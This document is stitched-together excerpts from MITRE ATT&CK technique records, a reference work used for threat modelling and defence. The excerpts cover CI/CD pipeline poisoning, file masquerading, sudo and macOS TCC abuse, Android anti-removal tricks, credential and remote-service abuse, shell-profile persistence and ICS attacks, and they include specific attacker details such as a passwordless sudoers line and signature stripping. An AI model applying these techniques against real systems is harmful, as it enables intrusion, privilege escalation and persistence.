They may include a command to exfiltrate credentials leveraged in the build process to a remote server, or to export them as a workflow artifact.\n* In an <b>Indirect Pipeline Execution</b> scenario, the threat actor injects malicious code into files referenced by the CI configuration file. These may include makefiles, scripts, unit tests, and linters.\n* In a <b>Public Pipeline Execution</b> scenario, the threat actor does not have direct access to the repository but instead creates a malicious pull request from a fork that triggers a part of the CI/CD pipeline. For example, in GitHub Actions, the `pull_request_target` trigger allows workflows running from forked repositories to access secrets. If this trigger is combined with an explicit pull request checkout and a location for a threat actor to insert malicious code (e.g., an `npm build` command), a threat actor may be able to leak pipeline credentials. Similarly, threat actors may craft pull requests with malicious inputs (such as branch names) if the build pipeline treats those inputs as trusted.

By configuring permissions appropriately, organizations can reduce the attack surface for adversaries seeking to access sensitive data, plant malicious code, or tamper with system files.\n- **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n- **Code Signing**: Code Signing is a security process that ensures the authenticity and integrity of software by digitally signing executables, scripts, and other code artifacts. It prevents untrusted or malicious code from executing by verifying the digital signatures against trusted sources. […]\n\n## Reference: ATT&CK T1036.007 Double File Extension\n**ATT&CK T1036.007 Double File Extension (full record).** Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: `File.txt.exe` may render in some views as just `File.txt`). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system’s policies.\n\nAdversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain Initial Access into a user’s system via Spearphishing Attachment then User Execution. For example, an executable file attachment named `Evil.txt.exe` may display as `Evil.txt` to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.\n\nCommon file types, such as text files (.txt,.doc, etc.) and image files (.jpg,.gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as.exe,.lnk,.hta, and.scr, often appear as the second extension and true file type.\n\n**Classification.** - Tactics: stealth\n- Platforms: Windows\n- Sub-technique of: T1036 Masquerading - Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.

[…]\n\n## Reference: ATT&CK T1036.008 Masquerade File Type\n**ATT&CK T1036.008 Masquerade File Type (full record).** Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file’s signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file’s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file’s type. For example, the header of a JPEG file, is ` 0xFF 0xD8` and the file extension is either `.JPE`, `.JPEG` or `.JPG`.\n\nAdversaries may edit the header’s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., Ingress Tool Transfer) and stored (e.g., Upload Malware) so that adversaries may move their malware without triggering detections.\n\nCommon non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of `test.gif`. A user may not know that a file is malicious due to the benign appearance and file extension.\n\nPolyglot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1036 Masquerading - Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.

[…]\n\n## Reference: ATT&CK T1036.010 Masquerade Account Name\n**ATT&CK T1036.010 Masquerade Account Name (full record).** Adversaries may match or approximate the names of legitimate accounts to make newly created ones appear benign. This will typically occur during Create Account, although accounts may also be renamed at a later date. This may also coincide with Account Access Removal if the actor first deletes an account before re-creating one with the same name.\n\nOften, adversaries will attempt to masquerade as service accounts, such as those associated with legitimate software, data backups, or container cluster management. They may also give accounts generic, trustworthy names, such as “admin”, “help”, or “root.” Sometimes adversaries may model account names off of those already existing in the system, as a follow-on behavior to Account Discovery.\n\nNote that this is distinct from Impersonation, which describes impersonating specific trusted individuals or organizations, rather than user or service account names.\n\n**Classification.** - Tactics: stealth\n- Platforms: Containers, IaaS, Identity Provider, Linux, macOS, Office Suite, SaaS, Windows\n- Sub-technique of: T1036 Masquerading - Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.

The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures.\n- **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. […]"}]}

Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\n\nWithin Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The `sudo` command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\" Since sudo was made for the system administrator, it has some useful configuration features such as a `timestamp_timeout`, which is the amount of time in minutes between instances of `sudo` before it will re-prompt for a password. This is because `sudo` has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at `/var/db/sudo` with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a `tty_tickets` variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nThe sudoers file, `/etc/sudoers`, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like `user1 ALL=(ALL) NOPASSWD: ALL`. Elevated privileges are required to edit this file though.\n\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. […]\n\n## Reference: ATT&CK T1548.004 Elevated Execution with Prompt\n**ATT&CK T1548.004 Elevated Execution with Prompt (full record).** Adversaries may leverage the `AuthorizationExecuteWithPrivileges` API to escalate privileges by prompting the user for credentials. The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified.\n\nAlthough this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse `AuthorizationExecuteWithPrivileges` to obtain root privileges in order to install malicious software on victims and install persistence mechanisms. This technique may be combined with Masquerading to trick the user into granting escalated privileges to malicious code. This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.\n\n**Classification.** - Tactics: privilege-escalation\n- Platforms: macOS\n- Sub-technique of: T1548 Abuse Elevation Control Mechanism - Adversaries may circumvent mechanisms designed to control privilege elevation to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine.\n\n**Mitigations.** - **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions.

Detection involves correlation of API usage, binary reputation, and prompt context. […]\n\n## Reference: ATT&CK T1548.005 Temporary Elevated Cloud Access\n**ATT&CK T1548.005 Temporary Elevated Cloud Access (full record).** Adversaries may abuse permission configurations that allow them to gain temporarily elevated access to cloud resources. Many cloud environments allow administrators to grant user or service accounts permission to request just-in-time access to roles, impersonate other accounts, pass roles onto resources and services, or otherwise gain short-term access to a set of privileges that may be distinct from their own.\n\nJust-in-time access is a mechanism for granting additional roles to cloud accounts in a granular, temporary manner. This allows accounts to operate with only the permissions they need on a daily basis, and to request additional permissions as necessary. Sometimes just-in-time access requests are configured to require manual approval, while other times the desired permissions are automatically granted.\n\nAccount impersonation allows user or service accounts to temporarily act with the permissions of another account. For example, in GCP users with the `iam.serviceAccountTokenCreator` role can create temporary access tokens or sign arbitrary payloads with the permissions of a service account, while service accounts with domain-wide delegation permission are permitted to impersonate Google Workspace accounts. In Exchange Online, the `ApplicationImpersonation` role allows a service account to use the permissions associated with specified user accounts.\n\nMany cloud environments also include mechanisms for users to pass roles to resources that allow them to perform tasks and authenticate to other services. While the user that creates the resource does not directly assume the role they pass to it, they may still be able to take advantage of the role's access -- for example, by configuring the resource to perform certain actions with the permissions it has been granted. In AWS, users with the `PassRole` permission can allow a service they create to assume a given role, while in GCP, users with the `iam.serviceAccountUser` role can attach a service account to a resource.\n\nWhile users require specific role assignments in order to use any of these features, cloud administrators may misconfigure permissions. This could result in escalation paths that allow adversaries to gain access to resources beyond what was originally intended. […]\n\n## Reference: ATT&CK T1548.006 TCC Manipulation\n**ATT&CK T1548.006 TCC Manipulation (full record).** Adversaries can manipulate or abuse the Transparency, Consent, & Control (TCC) service or database to grant malicious executables elevated permissions. TCC is a Privacy & Security macOS control mechanism used to determine if the running process has permission to access the data or services protected by TCC, such as screen sharing, camera, microphone, or Full Disk Access (FDA).\n\nWhen an application requests to access data or a service protected by TCC, the TCC daemon (`tccd`) checks the TCC database, located at `/Library/Application Support/com.apple.TCC/TCC.db` (and `~/` equivalent), and an overwrites file (if connected to an MDM) for existing permissions. If permissions do not exist, then the user is prompted to grant permission. Once permissions are granted, the database stores the application's permissions and will not prompt the user again unless reset. For example, when a web browser requests permissions to the user's webcam, once granted the web browser may not explicitly prompt the user again.\n\nAdversaries may access restricted data or services protected by TCC through abusing applications previously granted permissions through Process Injection or executing a malicious binary using another application. For example, adversaries can use Finder, a macOS native app with FDA permissions, to execute a malicious AppleScript. When executing under the Finder App, the malicious AppleScript inherits access to all files on the system without requiring a user prompt. When System Integrity Protection (SIP) is disabled, TCC protections are also disabled. For a system without SIP enabled, adversaries can manipulate the TCC database to add permissions to their malicious executable through loading an adversary controlled TCC database using environment variables and Launchctl.\n\n**Classification.** - Tactics: privilege-escalation\n- Platforms: macOS\n- Sub-technique of: T1548 Abuse Elevation Control Mechanism - Adversaries may circumvent mechanisms designed to control privilege elevation to gain higher-level permissions.

In earlier versions of Android, device administrator applications needed their administration capabilities explicitly deactivated by the user before the application could be uninstalled. This was later updated so the user could deactivate and uninstall the administrator application in one step.\n\nAdversaries may also abuse the device accessibility APIs to prevent removal. This set of APIs allows the application to perform certain actions on behalf of the user and programmatically determine what is being shown on the screen. The malicious application could monitor the device screen for certain modals (e.g., the confirmation modal to uninstall an application) and inject screen input or a back button tap to close the modal. For example, Android's `performGlobalAction(int)` API could be utilized to prevent the user from removing the malicious application from the device after installation. If the user wants to uninstall the malicious application, two cases may occur, both preventing the user from removing the application.\n\n* Case 1: If the integer argument passed to the API call is `2` or `GLOBAL_ACTION_HOME`, the malicious application may direct the user to the home screen from settings screen\n\n* Case 2: If the integer argument passed to the API call is `1` or `GLOBAL_ACTION_BACK`, the malicious application may emulate the back press event\n\n**Classification.** - Tactics: defense-evasion\n- Platforms: Android\n- Sub-technique of: T1629 Impair Defenses - Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms.\n\n**Mitigations.** - **Use Recent OS Version**: New mobile operating system versions bring not only patches against discovered vulnerabilities but also often bring security architecture improvements that provide resilience against potential vulnerabilities or weaknesses that have not yet been discovered.

Other novel techniques for locking the user out of the device have been observed, such as showing a persistent overlay, using carefully crafted “call” notification screens, and locking HTML pages in the foreground. These techniques can be very difficult to get around, and typically require booting the device into safe mode to uninstall the malware.\n\nPrior to Android 7, device administrators were able to reset the device lock passcode to prevent the user from unlocking the device.

Configuration management and software deployment applications may be used in an enterprise network or cloud environment for routine administration purposes. These systems may also be integrated into CI/CD pipelines. Examples of such solutions include: SCCM, HBSS, Altiris, AWS Systems Manager, Microsoft Intune, Azure Arc, and GCP Deployment Manager.\n\nAccess to network-wide or enterprise-wide endpoint management software may enable an adversary to achieve remote code execution on all connected systems. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nSaaS-based configuration management services may allow for broad Cloud Administration Command on cloud-hosted instances, as well as the execution of arbitrary commands on on-premises endpoints. For example, Microsoft Configuration Manager allows Global or Intune Administrators to run scripts as SYSTEM on on-premises devices joined to Entra ID. Such services may also utilize Web Protocols to communicate back to adversary owned infrastructure.\n\nNetwork infrastructure devices may also have configuration management tools that can be similarly abused by adversaries.\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required.

Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nIn some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.\n\nThe overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.\n\n**Classification.** - Tactics: stealth, persistence, privilege-escalation, initial-access\n- Platforms: Containers, ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, SaaS, Windows\n\n**Sub-techniques.** - T1078.004 Cloud Accounts: Valid accounts in cloud environments may allow adversaries to perform actions to achieve Initial Access, Persistence, Privilege Escalation, or Defense Evasion.\n- T1078.002 Domain Accounts: Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.\n- T1078.003 Local Accounts: Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.

Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS, the root user account in ESXi, and the default service account in Kubernetes.\n\nDefault accounts are not limited to client machines; rather, they also include accounts that are preset for equipment such as network devices and computer applications, whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen Private Keys or credential materials to legitimately connect to remote environments via Remote Services.\n\nDefault accounts may be created on a system after initial setup by connecting or integrating it with another application. For example, when an ESXi server is connected to a vCenter server, a default privileged account called `vpxuser` is created on the ESXi server. If a threat actor is able to compromise this account’s credentials (for example, via Exploitation for Credential Access on the vCenter host), they will then have access to the ESXi server.\n\n**Classification.** - Tactics: stealth, persistence, privilege-escalation, initial-access\n- Platforms: Containers, ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, SaaS, Windows\n- Sub-technique of: T1078 Valid Accounts - Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.\n\n**Mitigations.** - **Multi-factor Authentication**: Multi-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access.

Traffic mirroring is a native feature for some devices, often used for network analysis. For example, devices may be configured to forward network traffic to one or more destinations for analysis by a network analyzer or other monitoring device.\n\nAdversaries may abuse traffic mirroring to mirror or redirect network traffic through other infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through ROMMONkit or Patch System Image.\n\nMany cloud-based environments also support traffic mirroring. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.\n\nAdversaries may use traffic duplication in conjunction with Network Sniffing, Input Capture, or Adversary-in-the-Middle depending on the goals and objectives of the adversary.\n\n**Classification.** - Tactics: exfiltration\n- Platforms: Network Devices, IaaS\n- Sub-technique of: T1020 Automated Exfiltration - Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection.\n\n**Mitigations.** - **Encrypt Sensitive Information**: Protect sensitive information at rest, in transit, and during processing by using strong encryption algorithms.

The adversary may then perform actions as the logged-on user.\n\nIn an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP). They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain, or management platforms for internal virtualization environments such as VMware vCenter.\n\nLegitimate applications (such as Software Deployment Tools and other administrative programs) may utilize Remote Services to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including VNC to send the screen and control buffers and SSH for secure file transfer. Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.\n\n**Classification.** - Tactics: lateral-movement\n- Platforms: Linux, macOS, Windows, IaaS, ESXi\n\n**Sub-techniques.** - T1021.006 Windows Remote Management: Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM).

It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).\n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials.

The adversary may then perform actions as the logged-on user.\n\nSMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.\n\nWindows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over SMB, to interact with systems using remote procedure calls (RPCs), transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are Scheduled Task/Job, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels.\n\n**Classification.** - Tactics: lateral-movement\n- Platforms: Windows\n- Sub-technique of: T1021 Remote Services - Adversaries may use Valid Accounts to log into a service that accepts remote connections, such as telnet, SSH, and VNC.

WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user login, or the computer's uptime.\n\nAdversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may also compile WMI scripts – using `mofcomp.exe` –into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.\n\nWMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.\n\n**Classification.** - Tactics: privilege-escalation, persistence\n- Platforms: Windows\n- Sub-technique of: T1546 Event Triggered Execution - Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.

User Unix Shells execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (`/etc`) and the user’s home directory (`~/`) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.\n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the `/etc/profile` and `/etc/profile.d` files. These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into `~/.bash_profile`, `~/.bash_login`, or `~/.profile` which are sourced when a user opens a command-line interface or connects remotely. Since the system only executes the first existing file in the listed order, adversaries have used `~/.bash_profile` to ensure execution. Adversaries have also leveraged the `~/.bashrc` file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface. Some malware targets the termination of a program to trigger execution, adversaries can use the `~/.bash_logout` file to execute malicious commands at the end of a session.\n\nFor macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell.

Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies. There are tools available to perform these changes.\n\nAdversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time.\n\n**Classification.** - Tactics: privilege-escalation, persistence\n- Platforms: macOS\n- Sub-technique of: T1546 Event Triggered Execution - Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.

Lua is a cross-platform scripting and programming language primarily designed for embedded use in applications. Lua can be executed on the command-line (through the stand-alone lua interpreter), via scripts (`.lua`), or from Lua-embedded programs (through the `struct lua_State`).\n\nLua scripts may be executed by adversaries for malicious purposes. Adversaries may incorporate, abuse, or replace existing Lua interpreters to allow for malicious Lua command execution at runtime.\n\n**Classification.** - Tactics: execution\n- Platforms: Linux, Network Devices, Windows, macOS\n- Sub-technique of: T1059 Command and Scripting Interpreter - Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms.\n\n**Mitigations.** - **Limit Software Installation**: Prevent users or groups from installing unauthorized or unapproved software to reduce the risk of introducing malicious or vulnerable applications. This can be achieved through allowlists, software restriction policies, endpoint management tools, and least privilege access principles. This mitigation can be implemented through the following measures:\n- **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures.\n- **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Detection Strategy for Lua Scripting Abuse**\n  - Detects execution of Lua interpreters or scripts (.lua), especially when correlated with suspicious parent processes or file drop events, indicating malicious use of embedded scripting.

Some common examples of Docker CLI include Docker Desktop CLI and Docker Compose, but users are also able to use SDKs to interact with the API. For example, Docker SDK for Python can be used to run commands within a Python application.\n\nAdversaries may leverage the Docker CLI, API, or SDK to pull or build Docker images (i.e., Ingress Tool Transfer, Build Image on Host), run containers (i.e., Deploy Container), or execute commands inside running containers (i.e., Container Administration Command). In some cases, threat actors may pull legitimate images that include scripts or tools that they can leverage - for example, using an image that includes the `curl` command to download payloads. Adversaries may also utilize `docker inspect` and `docker ps` to scan for cloud environment variables and other running containers (i.e., Container and Resource Discovery).\n\nKubernetes is responsible for the management and orchestration of containers across clusters. The Kubernetes control plane, which manages the state of the cluster and is responsible for scheduling, communication, and resource monitoring, can be invoked directly via the API or indirectly via CLI tools such as `kubectl`. It may also be accessed within client libraries such as Go or Python. By utilizing the API, administrators can interact with resources within the cluster such as listing or creating pods, which is a group of one or more containers. Adversaries call the API server via `curl` or other tools, allowing them to obtain further information about the environment such as pods, deployments, daemonsets, namespaces, or sysvars. They may also run various commands regarding resource management.\n\n**Classification.** - Tactics: execution\n- Platforms: Containers\n- Sub-technique of: T1059 Command and Scripting Interpreter - Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. […]\n\n## Reference: ATT&CK T1068 Exploitation for Privilege Escalation\n**ATT&CK T1068 Exploitation for Privilege Escalation (full record).** Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.\n\nWhen initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.\n\nAdversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD). Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via Ingress Tool Transfer or Lateral Tool Transfer.\n\n**Classification.** - Tactics: privilege-escalation\n- Platforms: Containers, Linux, macOS, Windows\n\n**Mitigations.** - **Update Software**: Software updates ensure systems are protected against known vulnerabilities by applying patches and upgrades provided by vendors. Regular updates reduce the attack surface and prevent adversaries from exploiting known security gaps. This includes patching operating systems, applications, drivers, and firmware. This mitigation can be implemented through the following measures:\n- **Exploit Protection**: Deploy capabilities that detect, block, and mitigate conditions indicative of software exploits. […]"}]}

Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: Email Addresses). These sites may also have details highlighting business operations and relationships.\n\nAdversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Trusted Relationship or Phishing).\n\nIn addition to manually browsing the website, adversaries may attempt to identify hidden directories or files that could contain additional sensitive information or vulnerable functionality. They may do this through automated activities such as Wordlist Scanning, as well as by leveraging files such as sitemap.xml and robots.txt.\n\n## Reference: ATT&CK T0860 Wireless Compromise\n**ATT&CK T0860 Wireless Compromise (full record).** Adversaries may perform wireless compromise as a method of gaining communications and unauthorized access to a wireless network. Access to a wireless network may be gained through the compromise of a wireless device. Adversaries may also utilize radios and other wireless communication devices on the same frequency as the wireless network. Wireless compromise can be done as an initial access vector from a remote distance.\n\nA Polish student used a modified TV remote controller to gain access to and control over the Lodz city tram system in Poland. The remote controller device allowed the student to interface with the trams network to modify track settings and override operator control. The adversary may have accomplished this by aligning the controller to the frequency and amplitude of IR control protocol signals. The controller then enabled initial access to the network, allowing the capture and replay of tram signals.\n\n**Classification.** - Tactics: initial-access\n- Platforms: Embedded, Windows, Linux\n\n**Mitigations.** - **Communication Authenticity**: When communicating over an untrusted network, utilize secure network protocols that both authenticate the message sender and can verify its integrity. This can be done either through message authentication codes (MACs) or digital signatures, to detect spoofed network messages and unauthorized connections.\n- **Software Process and Device Authentication**: Require the authentication of devices and software processes where appropriate. Devices that connect remotely to other systems should require strong authentication to prevent spoofing of communications. Furthermore, software processes should also require authentication when accessing APIs.\n- **Minimize Wireless Signal Propagation**: Wireless signals frequently propagate outside of organizational boundaries, which provide opportunities for adversaries to monitor or gain unauthorized access to the wireless network. To minimize this threat, organizations should implement measures to detect, understand, and reduce unnecessary RF propagation.\n- **Encrypt Network Traffic**: Utilize strong cryptographic techniques and protocols to prevent eavesdropping on network communications. […]\n\n## Reference: ATT&CK T0861 Point & Tag Identification\n**ATT&CK T0861 Point & Tag Identification (full record).** Adversaries may collect point and tag values to gain a more comprehensive understanding of the process environment. Points may be values such as inputs, memory locations, outputs or other process specific variables. Tags are the identifiers given to points for operator convenience.\n\nCollecting such tags provides valuable context to environmental points and enables an adversary to map inputs, outputs, and other values to their control processes. Understanding the points being collected may inform an adversary on which processes and values to keep track of over the course of an operation.\n\n**Classification.** - Tactics: collection\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Mitigations.** - **Authorization Enforcement**: The device or system should restrict read, manipulate, or execute privileges to only authenticated users who require access based on approved security policies. Role-based Access Control (RBAC) schemes can help reduce the overhead of assigning permissions to the large number of devices within an ICS. For example, IEC 62351 provides examples of roles used to support common system operations within the electric power sector, while IEEE 1686 defines standard permissions for users of IEDs.\n- **Network Allowlists**: Network allowlists can be implemented through either host-based files or system hosts files to specify what connections (e.g., IP address, MAC address, port, protocol) can be made from a device. Allowlist techniques that operate at the application layer (e.g., DNP3, Modbus, HTTP) are addressed in Filter Network Traffic mitigation.\n- **Filter Network Traffic**: Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic. Perform inline allow/denylisting of network messages based on the application layer (OSI Layer 7) protocol, especially for automation protocols. Application allowlists are beneficial when there are well-defined communication sequences, types, rates, or patterns needed during expected system operations.\n- **Human User Authentication**: Require user authentication before allowing access to data or accepting commands to a device. While strong multi-factor authentication is preferable, it is not always feasible within ICS environments. […]\n\n## Reference: ATT&CK T0862 Supply Chain Compromise\n**ATT&CK T0862 Supply Chain Compromise (full record).** Adversaries may perform supply chain compromise to gain control systems environment access by means of infected products, software, and workflows. Supply chain compromise is the manipulation of products, such as devices or software, or their delivery mechanisms before receipt by the end consumer. Adversary compromise of these products and mechanisms is done for the goal of data or system compromise, once infected products are introduced to the target environment.\n\nSupply chain compromise can occur at all stages of the supply chain, from manipulation of development tools and environments to manipulation of developed products and tools distribution mechanisms. This may involve the compromise and replacement of legitimate software and patches, such as on third party or vendor websites. Targeting of supply chain compromise can be done in 